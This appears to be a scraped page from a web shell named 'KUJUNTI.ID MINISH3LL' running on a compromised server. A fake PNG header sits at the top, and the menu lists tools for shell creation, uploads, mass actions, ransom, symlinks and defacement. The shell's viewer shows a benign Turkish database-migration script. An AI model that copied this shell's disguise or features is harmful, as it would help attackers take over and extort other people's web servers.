\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv8/DatabaseBackupMaster/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv8/DatabaseBackupMaster/add_backup_method_column.py


#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
yedekleDB24 için veritabanı şeması güncelleme scripti.
Bu script, backup_log tablosuna backup_method sütununu ekler.
"""

import os
import logging
import sys
from sqlalchemy import create_engine, text
from dotenv import load_dotenv

# .env dosyasını yükle (varsa)
load_dotenv()

def get_database_url():
    """Veritabanı URL'sini çevre değişkeninden alır."""
    return os.environ.get("DATABASE_URL")

def add_backup_method_column():
    """backup_log tablosuna backup_method sütununu ekler."""
    try:
        db_url = get_database_url()
        if not db_url:
            logging.error("DATABASE_URL çevre değişkeni bulunamadı.")
            return False

        logging.info(f"Veritabanına bağlanılıyor: {db_url.split('@')[-1]}")
        engine = create_engine(db_url)
        
        with engine.connect() as conn:
            # Tabloya backup_method sütunu ekleme
            # Önce sütunun olup olmadığını kontrol et
            result = conn.execute(text("SELECT column_name FROM information_schema.columns WHERE table_name = 'backup_log' AND column_name = 'backup_method'"))
            if result.rowcount == 0:
                # Sütun mevcut değilse ekle
                conn.execute(text("ALTER TABLE backup_log ADD COLUMN backup_method VARCHAR(16) DEFAULT 'full'"))
                conn.commit()
                logging.info("backup_log tablosuna backup_method sütunu başarıyla eklendi.")
            else:
                logging.info("backup_log tablosunda backup_method sütunu zaten mevcut.")

            # backup_job tablosuna backup_method sütunu eklenip eklenmediğini kontrol et
            result = conn.execute(text("SELECT column_name FROM information_schema.columns WHERE table_name = 'backup_job' AND column_name = 'backup_method'"))
            if result.rowcount == 0:
                # Sütun mevcut değilse ekle
                conn.execute(text("ALTER TABLE backup_job ADD COLUMN backup_method VARCHAR(16) DEFAULT 'full'"))
                conn.commit()
                logging.info("backup_job tablosuna backup_method sütunu başarıyla eklendi.")
            else:
                logging.info("backup_job tablosunda backup_method sütunu zaten mevcut.")

            return True
    except Exception as e:
        logging.error(f"Sütun ekleme hatası: {str(e)}")
        return False

def main():
    """Ana fonksiyon"""
    logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
    logging.info("Veritabanı şeması güncelleme başlatıldı")
    
    if add_backup_method_column():
        logging.info("Veritabanı şeması başarıyla güncellendi.")
    else:
        logging.error("Veritabanı şeması güncellenirken hata oluştu.")
        sys.exit(1)

if __name__ == "__main__":
    main()

© KUJUNTI.ID